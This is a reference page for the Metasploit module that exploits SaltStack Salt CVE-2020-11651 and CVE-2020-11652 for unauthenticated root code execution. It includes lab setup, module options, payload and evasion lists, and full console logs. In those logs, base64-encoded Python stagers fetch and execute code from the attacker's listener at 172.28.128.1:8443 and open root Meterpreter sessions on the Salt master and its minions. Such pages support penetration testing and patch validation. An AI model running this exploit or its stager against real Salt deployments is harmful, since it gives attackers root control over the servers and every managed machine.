SaltStack Salt Master/Minion Unauthenticated RCE - Metasploit
This page contains detailed information about how to use the exploit/linux/misc/saltstack_salt_unauth_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: SaltStack Salt Master/Minion Unauthenticated RCE
Module: exploit/linux/misc/saltstack_salt_unauth_rce
Source code: modules/exploits/linux/misc/saltstack_salt_unauth_rce.rb
Disclosure date: 2020-04-30
Last modification time: 2021-09-17 16:34:46 +0000
Supported architecture(s): python, cmd
Supported platform(s): Python, Unix
Target service / protocol: -
Target network port(s): 4506
List of CVEs: CVE-2020-11651, CVE-2020-11652
This module exploits unauthenticated access to the runner() and _send_pub() methods in the SaltStack Salt master's ZeroMQ request server, for versions 2019.2.3 and earlier and 3000.1 and earlier, to execute code as root on either the master or on select minions. VMware vRealize Operations Manager versions 7.5.0 through 8.1.0, as well as Cisco Modeling Labs Corporate Edition (CML) and Cisco Virtual Internet Routing Lab Personal Edition (VIRL-PE), for versions 1.2, 1.3, 1.5, and 1.6 in certain configurations, are known to be affected by the Salt vulnerabilities. Tested against SaltStack Salt 2019.2.3 and 3000.1 on Ubuntu 18.04, as well as Vulhub's Docker image.
Module Ranking and Traits
Module Ranking:
- great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- service-resource-loss: Module may cause a resource (such as a file or data in a database) to be unavailable for the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
msf > use exploit/linux/misc/saltstack_salt_unauth_rce
msf exploit(saltstack_salt_unauth_rce) > exploit
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
CheckModule: Module to check with
Knowledge Base
Vulnerable Application
Description
This module exploits unauthenticated access to the runner() and
_send_pub() methods in the SaltStack Salt master's ZeroMQ request
server, for versions 2019.2.3 and earlier and 3000.1 and earlier, to
execute code as root on either the master or on select minions.
VMware vRealize Operations Manager versions 7.5.0 through 8.1.0, as well as Cisco Modeling Labs Corporate Edition (CML) and Cisco Virtual Internet Routing Lab Personal Edition (VIRL-PE), for versions 1.2, 1.3, 1.5, and 1.6 in certain configurations, are known to be affected by the Salt vulnerabilities.
Tested against SaltStack Salt 2019.2.3 and 3000.1 on Ubuntu 18.04, as well as Vulhub's Docker image.
Setup
Note: I did the bulk of my testing after manually installing Salt in an Ubuntu 18.04 VM, but the Docker image from Vulhub may be quicker. YMMV.
Using a virtual machine
- Set up an Ubuntu 18.04 VM
- Browse to SaltStack's instructions for Ubuntu
- Select
Pin to Minor Releaseand change all versions to either 2019.2.3 or 3000.1, depending on the version you wish to test - Follow the instructions, installing only the
salt-masterandsalt-minionpackages necessary for testing - Follow the post-installation configuration
You may now begin testing.
Using Docker
Prerequisites: Docker and Docker Compose must be installed first.
Note: The Salt master is already configured and running in the following scenario. The majority of the steps below are for configuring and starting the minion. Version 2019.2.3 will be used.
- Run
git clone https://github.com/vulhub/vulhub - Run
cd vulhub/saltstack/CVE-2020-11651 - Run
docker-compose up -dto start the container in the background - Run
docker exec -it cve-2020-11651_saltstack_1 bashto drop to a root shell inside the container - Run
echo $'127.0.0.1\tsalt' >> /etc/hoststo add the master to/etc/hosts(this allows the minion to find the master) - Run
salt-minion -dto execute the minion in the background - Run
salt-key -Aand accept the key for the minion
You may now begin testing.
Verification Steps
Targets
Master (Python payload)
This executes a Python payload on the master(s) specified by RHOST(S).
Master (Unix command)
This executes a Unix command payload on the master(s) specified by
RHOST(S).
Minions (Python payload)
This executes a Python payload on the minions specified by the MINIONS
option.
Minions (Unix command)
This executes a Unix command payload on the minions specified by the
MINIONS option.
Options
ROOT_KEY
If you already have the master's root key, you may set it in this option. Note that the master regenerates the root key on each startup.
MINIONS
This is the PCRE regex of minions to execute the payload on. Defaults to
.* for all minions.
WfsDelay
Set this to the number of seconds to wait for all sessions to come in. Defaults to 10 seconds, though the exploit may wait up to 20 seconds.
Scenarios
SaltStack Salt 2019.2.3 on Ubuntu 18.04
Executing Python payload on the master
msf5 > use exploit/linux/misc/saltstack_salt_unauth_rce
msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > show targets
Exploit targets:
Id Name
-- ----
0 Master (Python payload)
1 Master (Unix command)
2 Minions (Python payload)
3 Minions (Unix command)
msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > options
Module options (exploit/linux/misc/saltstack_salt_unauth_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
MINIONS .* yes PCRE regex of minions to target
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
ROOT_KEY no Master's root key if you have it
RPORT 4506 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (python/meterpreter/reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The local listener hostname
LPORT 8443 yes The local listener port
LURI no The HTTP Path
Exploit target:
Id Name
-- ----
0 Master (Python payload)
msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > set rhosts 172.28.128.5
rhosts => 172.28.128.5
msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > set lhost 172.28.128.1
lhost => 172.28.128.1
msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > run
[*] Started HTTPS reverse handler on https://172.28.128.1:8443
[*] 172.28.128.5:4506 - Using auxiliary/gather/saltstack_salt_root_key as check
[*] 172.28.128.5:4506 - Connecting to ZeroMQ service at 172.28.128.5:4506
[*] 172.28.128.5:4506 - Negotiating signature
[+] 172.28.128.5:4506 - Received valid signature: "\xFF\x00\x00\x00\x00\x00\x00\x00\x01\x7F"
[*] 172.28.128.5:4506 - Sending identical signature
[*] 172.28.128.5:4506 - Negotiating version
[+] 172.28.128.5:4506 - Received compatible version: "\x03"
[*] 172.28.128.5:4506 - Sending identical version
[*] 172.28.128.5:4506 - Negotiating NULL security mechanism
[+] 172.28.128.5:4506 - Received NULL security mechanism
[*] 172.28.128.5:4506 - Sending NULL security mechanism
[*] 172.28.128.5:4506 - Sending READY command of type REQ
[+] 172.28.128.5:4506 - Received READY reply of type ROUTER
[*] 172.28.128.5:4506 - Yeeting _prep_auth_info() at 172.28.128.5:4506
[+] 172.28.128.5:4506 - Received serialized auth info
[+] 172.28.128.5:4506 - Root key: bv2Ra72DXzkrbFVYNPHrOe9CqM2aKBdl+E46/m/kaxvDsiLxhG+0PS55u704MyOi2/PgD/EadGk=
[*] 172.28.128.5:4506 - Disconnecting from 172.28.128.5:4506
[*] 172.28.128.5:4506 - Connecting to ZeroMQ service at 172.28.128.5:4506
[*] 172.28.128.5:4506 - Negotiating signature
[+] 172.28.128.5:4506 - Received valid signature: "\xFF\x00\x00\x00\x00\x00\x00\x00\x01\x7F"
[*] 172.28.128.5:4506 - Sending identical signature
[*] 172.28.128.5:4506 - Negotiating version
[+] 172.28.128.5:4506 - Received compatible version: "\x03"
[*] 172.28.128.5:4506 - Sending identical version
[*] 172.28.128.5:4506 - Negotiating NULL security mechanism
[+] 172.28.128.5:4506 - Received NULL security mechanism
[*] 172.28.128.5:4506 - Sending NULL security mechanism
[*] 172.28.128.5:4506 - Sending READY command of type REQ
[+] 172.28.128.5:4506 - Received READY reply of type ROUTER
[*] 172.28.128.5:4506 - Executing Python payload on the master: python/meterpreter/reverse_https
[*] 172.28.128.5:4506 - Yeeting runner() at 172.28.128.5:4506
[*] 172.28.128.5:4506 - Executing Python code: exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHN5cwp2aT1zeXMudmVyc2lvbl9pbmZvCnVsPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bdmlbMF1dLGZyb21saXN0PVsnYnVpbGRfb3BlbmVyJywnSFRUUFNIYW5kbGVyJ10pCmhzPVtdCmlmICh2aVswXT09MiBhbmQgdmk+PSgyLDcsOSkpIG9yIHZpPj0oMyw0LDMpOgoJaW1wb3J0IHNzbAoJc2M9c3NsLlNTTENvbnRleHQoc3NsLlBST1RPQ09MX1NTTHYyMykKCXNjLmNoZWNrX2hvc3RuYW1lPUZhbHNlCglzYy52ZXJpZnlfbW9kZT1zc2wuQ0VSVF9OT05FCglocy5hcHBlbmQodWwuSFRUUFNIYW5kbGVyKDAsc2MpKQpvPXVsLmJ1aWxkX29wZW5lcigqaHMpCm8uYWRkaGVhZGVycz1bKCdVc2VyLUFnZW50JywnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBUcmlkZW50LzcuMDsgcnY6MTEuMCkgbGlrZSBHZWNrbycpXQpleGVjKG8ub3BlbignaHR0cHM6Ly8xNzIuMjguMTI4LjE6ODQ0My96a0p4ZWdUdlhWeUtGcDhDMUtGZmpnTFNKOXNvcycpLnJlYWQoKSkK')[0]))
[*] 172.28.128.5:4506 - Unserialized clear load: {"cmd"=>"runner", "fun"=>"salt.cmd", "kwarg"=>{"hide_output"=>true, "ignore_retcode"=>true, "output_loglevel"=>"quiet", "fun"=>"cmd.exec_code", "lang"=>"python", "code"=>"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHN5cwp2aT1zeXMudmVyc2lvbl9pbmZvCnVsPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bdmlbMF1dLGZyb21saXN0PVsnYnVpbGRfb3BlbmVyJywnSFRUUFNIYW5kbGVyJ10pCmhzPVtdCmlmICh2aVswXT09MiBhbmQgdmk+PSgyLDcsOSkpIG9yIHZpPj0oMyw0LDMpOgoJaW1wb3J0IHNzbAoJc2M9c3NsLlNTTENvbnRleHQoc3NsLlBST1RPQ09MX1NTTHYyMykKCXNjLmNoZWNrX2hvc3RuYW1lPUZhbHNlCglzYy52ZXJpZnlfbW9kZT1zc2wuQ0VSVF9OT05FCglocy5hcHBlbmQodWwuSFRUUFNIYW5kbGVyKDAsc2MpKQpvPXVsLmJ1aWxkX29wZW5lcigqaHMpCm8uYWRkaGVhZGVycz1bKCdVc2VyLUFnZW50JywnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBUcmlkZW50LzcuMDsgcnY6MTEuMCkgbGlrZSBHZWNrbycpXQpleGVjKG8ub3BlbignaHR0cHM6Ly8xNzIuMjguMTI4LjE6ODQ0My96a0p4ZWdUdlhWeUtGcDhDMUtGZmpnTFNKOXNvcycpLnJlYWQoKSkK')[0]))"}, "user"=>"root", "key"=>"bv2Ra72DXzkrbFVYNPHrOe9CqM2aKBdl+E46/m/kaxvDsiLxhG+0PS55u704MyOi2/PgD/EadGk="}
[+] 172.28.128.5:4506 - Received runner() response: "\x01\x00\x00<\x82\xA3jid\xB420200510102113141303\xA3tag\xBDsalt/run/20200510102113141303"
[*] https://172.28.128.1:8443 handling request from 172.28.128.5; (UUID: kwpadl1s) Staging python payload (53902 bytes) ...
[*] Meterpreter session 1 opened (172.28.128.1:8443 -> 172.28.128.5:48236) at 2020-05-10 05:21:15 -0500
[*] 172.28.128.5:4506 - Disconnecting from 172.28.128.5:4506
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : ubuntu-bionic
OS : Linux 4.15.0-91-generic #92-Ubuntu SMP Fri Feb 28 11:09:48 UTC 2020
Architecture : x64
System Language : C
Meterpreter : python/linux
meterpreter >
Executing Python payload on the minions
msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > set target Minions\ (Python\ payload)
target => Minions (Python payload)
msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > run
[*] Started HTTPS reverse handler on https://172.28.128.1:8443
[*] 172.28.128.5:4506 - Connecting to ZeroMQ service at 172.28.128.5:4506
[*] 172.28.128.5:4506 - Negotiating signature
[+] 172.28.128.5:4506 - Received valid signature: "\xFF\x00\x00\x00\x00\x00\x00\x00\x01\x7F"
[*] 172.28.128.5:4506 - Sending identical signature
[*] 172.28.128.5:4506 - Negotiating version
[+] 172.28.128.5:4506 - Received compatible version: "\x03"
[*] 172.28.128.5:4506 - Sending identical version
[*] 172.28.128.5:4506 - Negotiating NULL security mechanism
[+] 172.28.128.5:4506 - Received NULL security mechanism
[*] 172.28.128.5:4506 - Sending NULL security mechanism
[*] 172.28.128.5:4506 - Sending READY command of type REQ
[+] 172.28.128.5:4506 - Received READY reply of type ROUTER
[*] 172.28.128.5:4506 - Executing Python payload on the minions: python/meterpreter/reverse_https
[*] 172.28.128.5:4506 - Yeeting _send_pub() at 172.28.128.5:4506
[*] 172.28.128.5:4506 - Executing Python code: exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHN5cwp2aT1zeXMudmVyc2lvbl9pbmZvCnVsPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bdmlbMF1dLGZyb21saXN0PVsnYnVpbGRfb3BlbmVyJywnSFRUUFNIYW5kbGVyJ10pCmhzPVtdCmlmICh2aVswXT09MiBhbmQgdmk+PSgyLDcsOSkpIG9yIHZpPj0oMyw0LDMpOgoJaW1wb3J0IHNzbAoJc2M9c3NsLlNTTENvbnRleHQoc3NsLlBST1RPQ09MX1NTTHYyMykKCXNjLmNoZWNrX2hvc3RuYW1lPUZhbHNlCglzYy52ZXJpZnlfbW9kZT1zc2wuQ0VSVF9OT05FCglocy5hcHBlbmQodWwuSFRUUFNIYW5kbGVyKDAsc2MpKQpvPXVsLmJ1aWxkX29wZW5lcigqaHMpCm8uYWRkaGVhZGVycz1bKCdVc2VyLUFnZW50JywnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBUcmlkZW50LzcuMDsgcnY6MTEuMCkgbGlrZSBHZWNrbycpXQpleGVjKG8ub3BlbignaHR0cHM6Ly8xNzIuMjguMTI4LjE6ODQ0My9hZEY5X2gxZFJrZ3BSRHhRZF9QOC1nc1V6a1hmcycpLnJlYWQoKSkK')[0]))
[*] 172.28.128.5:4506 - Unserialized clear load: {"cmd"=>"_send_pub", "kwargs"=>{"bg"=>true, "hide_output"=>true, "ignore_retcode"=>true, "output_loglevel"=>"quiet", "show_jid"=>false, "show_timeout"=>false}, "user"=>"root", "tgt"=>".*", "tgt_type"=>"pcre", "jid"=>"20200510102150723893", "fun"=>"cmd.exec_code", "arg"=>["python", "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHN5cwp2aT1zeXMudmVyc2lvbl9pbmZvCnVsPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bdmlbMF1dLGZyb21saXN0PVsnYnVpbGRfb3BlbmVyJywnSFRUUFNIYW5kbGVyJ10pCmhzPVtdCmlmICh2aVswXT09MiBhbmQgdmk+PSgyLDcsOSkpIG9yIHZpPj0oMyw0LDMpOgoJaW1wb3J0IHNzbAoJc2M9c3NsLlNTTENvbnRleHQoc3NsLlBST1RPQ09MX1NTTHYyMykKCXNjLmNoZWNrX2hvc3RuYW1lPUZhbHNlCglzYy52ZXJpZnlfbW9kZT1zc2wuQ0VSVF9OT05FCglocy5hcHBlbmQodWwuSFRUUFNIYW5kbGVyKDAsc2MpKQpvPXVsLmJ1aWxkX29wZW5lcigqaHMpCm8uYWRkaGVhZGVycz1bKCdVc2VyLUFnZW50JywnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBUcmlkZW50LzcuMDsgcnY6MTEuMCkgbGlrZSBHZWNrbycpXQpleGVjKG8ub3BlbignaHR0cHM6Ly8xNzIuMjguMTI4LjE6ODQ0My9hZEY5X2gxZFJrZ3BSRHhRZF9QOC1nc1V6a1hmcycpLnJlYWQoKSkK')[0]))"]}
[+] 172.28.128.5:4506 - Received _send_pub() response: "\x01\x00\x00\x01\xC0"
[*] https://172.28.128.1:8443 handling request from 172.28.128.5; (UUID: foe5rluh) Staging python payload (53883 bytes) ...
[*] Meterpreter session 2 opened (172.28.128.1:8443 -> 172.28.128.5:48388) at 2020-05-10 05:21:51 -0500
[+] 172.28.128.5:4506 - Deleted /var/cache/salt/minion/proc/20200510102150723893
[*] 172.28.128.5:4506 - Disconnecting from 172.28.128.5:4506
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : ubuntu-bionic
OS : Linux 4.15.0-91-generic #92-Ubuntu SMP Fri Feb 28 11:09:48 UTC 2020
Architecture : x64
System Language : C
Meterpreter : python/linux
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the linux/misc/saltstack_salt_unauth_rce exploit module looks in the msfconsole:
msf6 > use exploit/linux/misc/saltstack_salt_unauth_rce
[*] Using configured payload python/meterpreter/reverse_https
msf6 exploit(linux/misc/saltstack_salt_unauth_rce) > show info
Name: SaltStack Salt Master/Minion Unauthenticated RCE
Module: exploit/linux/misc/saltstack_salt_unauth_rce
Platform: Python, Unix
Arch: python, cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2020-04-30
Provided by:
F-Secure
wvu <[email protected]>
Module side effects:
ioc-in-logs
artifacts-on-disk
Module stability:
service-resource-loss
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Master (Python payload)
1 Master (Unix command)
2 Minions (Python payload)
3 Minions (Unix command)
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
MINIONS .* yes PCRE regex of minions to target
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
ROOT_KEY no Master's root key if you have it
RPORT 4506 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Description:
This module exploits unauthenticated access to the runner() and
_send_pub() methods in the SaltStack Salt master's ZeroMQ request
server, for versions 2019.2.3 and earlier and 3000.1 and earlier, to
execute code as root on either the master or on select minions.
VMware vRealize Operations Manager versions 7.5.0 through 8.1.0, as
well as Cisco Modeling Labs Corporate Edition (CML) and Cisco
Virtual Internet Routing Lab Personal Edition (VIRL-PE), for
versions 1.2, 1.3, 1.5, and 1.6 in certain configurations, are known
to be affected by the Salt vulnerabilities. Tested against SaltStack
Salt 2019.2.3 and 3000.1 on Ubuntu 18.04, as well as Vulhub's Docker
image.
References:
https://nvd.nist.gov/vuln/detail/CVE-2020-11651
https://nvd.nist.gov/vuln/detail/CVE-2020-11652
https://labs.f-secure.com/advisories/saltstack-authorization-bypass
https://community.saltstack.com/blog/critical-vulnerabilities-update-cve-2020-11651-and-cve-2020-11652/
https://www.vmware.com/security/advisories/VMSA-2020-0009.html
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-salt-2vx545AG
https://github.com/saltstack/salt/blob/master/tests/integration/master/test_clear_funcs.py
Module Options
This is a complete list of options available in the linux/misc/saltstack_salt_unauth_rce exploit:
msf6 exploit(linux/misc/saltstack_salt_unauth_rce) > show options
Module options (exploit/linux/misc/saltstack_salt_unauth_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
MINIONS .* yes PCRE regex of minions to target
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
ROOT_KEY no Master's root key if you have it
RPORT 4506 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (python/meterpreter/reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The local listener hostname
LPORT 8443 yes The local listener port
LURI no The HTTP Path
Exploit target:
Id Name
-- ----
0 Master (Python payload)
Advanced Options
Here is a complete list of advanced options supported by the linux/misc/saltstack_salt_unauth_rce exploit:
msf6 exploit(linux/misc/saltstack_salt_unauth_rce) > show advanced
Module advanced options (exploit/linux/misc/saltstack_salt_unauth_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
CheckModule auxiliary/gather/saltstack_salt_root_key yes Module to check with
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
ListenerComm no The specific communication channel to use for this service
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 10 yes Seconds to wait for *all* sessions
Payload advanced options (python/meterpreter/reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
HttpCookie no An optional value to use for the Cookie HTTP header
HttpHostHeader no An optional value to use for the Host HTTP header
HttpProxyHost no An optional proxy server IP address or hostname
HttpProxyPass no An optional proxy server password Max parameter length: 63 characters
HttpProxyPort no An optional proxy server port
HttpProxyUser no An optional proxy server username Max parameter length: 63 characters
HttpReferer no An optional value to use for the Referer HTTP header
HttpServerName Apache no The server header that the handler will send in response to requests
HttpUnknownRequestResponse <html><body><h1>It works!</h1></body></html> no The returned HTML response body when the handler receives a request that is not from a payload
HttpUserAgent Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko no The user-agent that the payload should use for communication Max parameter length: 255 characters
IgnoreUnknownPayloads false no Whether to drop connections from payloads using unknown UUIDs
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterTryToFork true no Fork a new process if the functionality is available
OverrideLHOST no When OverrideRequestHost is set, use this value as the host name for secondary requests
OverrideLPORT no When OverrideRequestHost is set, use this value as the port number for secondary requests
OverrideRequestHost false no Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT
OverrideScheme no When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PythonMeterpreterDebug false no Enable debugging for the Python meterpreter
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerVerifySSLCert false no Whether to verify the SSL certificate in Meterpreter
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/misc/saltstack_salt_unauth_rce module can exploit:
msf6 exploit(linux/misc/saltstack_salt_unauth_rce) > show targets
Exploit targets:
Id Name
-- ----
0 Master (Python payload)
1 Master (Unix command)
2 Minions (Python payload)
3 Minions (Unix command)
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/misc/saltstack_salt_unauth_rce exploit:
msf6 exploit(linux/misc/saltstack_salt_unauth_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
4 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
5 payload/python/meterpreter/bind_tcp normal No Python Meterpreter, Python Bind TCP Stager
6 payload/python/meterpreter/bind_tcp_uuid normal No Python Meterpreter, Python Bind TCP Stager with UUID Support
7 payload/python/meterpreter/reverse_http normal No Python Meterpreter, Python Reverse HTTP Stager
8 payload/python/meterpreter/reverse_https normal No Python Meterpreter, Python Reverse HTTPS Stager
9 payload/python/meterpreter/reverse_tcp normal No Python Meterpreter, Python Reverse TCP Stager
10 payload/python/meterpreter/reverse_tcp_ssl normal No Python Meterpreter, Python Reverse TCP SSL Stager
11 payload/python/meterpreter/reverse_tcp_uuid normal No Python Meterpreter, Python Reverse TCP Stager with UUID Support
12 payload/python/meterpreter_bind_tcp normal No Python Meterpreter Shell, Bind TCP Inline
13 payload/python/meterpreter_reverse_http normal No Python Meterpreter Shell, Reverse HTTP Inline
14 payload/python/meterpreter_reverse_https normal No Python Meterpreter Shell, Reverse HTTPS Inline
15 payload/python/meterpreter_reverse_tcp normal No Python Meterpreter Shell, Reverse TCP Inline
16 payload/python/shell_bind_tcp normal No Command Shell, Bind TCP (via python)
17 payload/python/shell_reverse_tcp normal No Command Shell, Reverse TCP (via python)
18 payload/python/shell_reverse_tcp_ssl normal No Command Shell, Reverse TCP SSL (via python)
19 payload/python/shell_reverse_udp normal No Command Shell, Reverse UDP (via python)
Evasion Options
Here is the full list of possible evasion options supported by the linux/misc/saltstack_salt_unauth_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/misc/saltstack_salt_unauth_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Did not receive runner() response
Here is a relevant code snippet related to the "Did not receive runner() response" error message:
208:
209: vprint_status("Unserialized clear load: #{runner}")
210: zmq_send_message(serialize_clear_load(runner))
211:
212: unless (res = sock.get_once)
213: fail_with(Failure::Unknown, 'Did not receive runner() response')
214: end
215:
216: vprint_good("Received runner() response: #{res.inspect}")
217: end
218:
Did not receive _send_pub() response
Here is a relevant code snippet related to the "Did not receive _send_pub() response" error message:
261:
262: vprint_status("Unserialized clear load: #{send_pub}")
263: zmq_send_message(serialize_clear_load(send_pub))
264:
265: unless (res = sock.get_once)
266: fail_with(Failure::Unknown, 'Did not receive _send_pub() response')
267: end
268:
269: vprint_good("Received _send_pub() response: #{res.inspect}")
270:
271: # NOTE: This path will likely change between platforms and distros
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Related Pull Requests
- #14734 Merged Pull Request: Rubocop recently landed modules
- #14359 Merged Pull Request: Preference target values when registering options
- #14379 Merged Pull Request: Add SaltStack Salt REST API RCE (CVE-2020-16846 and CVE-2020-25592)
- #13806 Merged Pull Request: Make cmd/unix target types consistent to :unix_cmd
- #13538 Merged Pull Request: Add Cisco CML and VIRL-PE advisory to Salt modules
- #13503 Merged Pull Request: Add BASE_DN and ROOT_KEY options to VMware vCenter vmdir and SaltStack Salt modules
- #13401 Merged Pull Request: Add SaltStack Salt root key disclosure (CVE-2020-11651), unauthenticated RCE (also CVE-2020-11651), and basic ZeroMQ library
References
- CVE-2020-11651
- CVE-2020-11652
- https://labs.f-secure.com/advisories/saltstack-authorization-bypass
- https://community.saltstack.com/blog/critical-vulnerabilities-update-cve-2020-11651-and-cve-2020-11652/
- https://www.vmware.com/security/advisories/VMSA-2020-0009.html
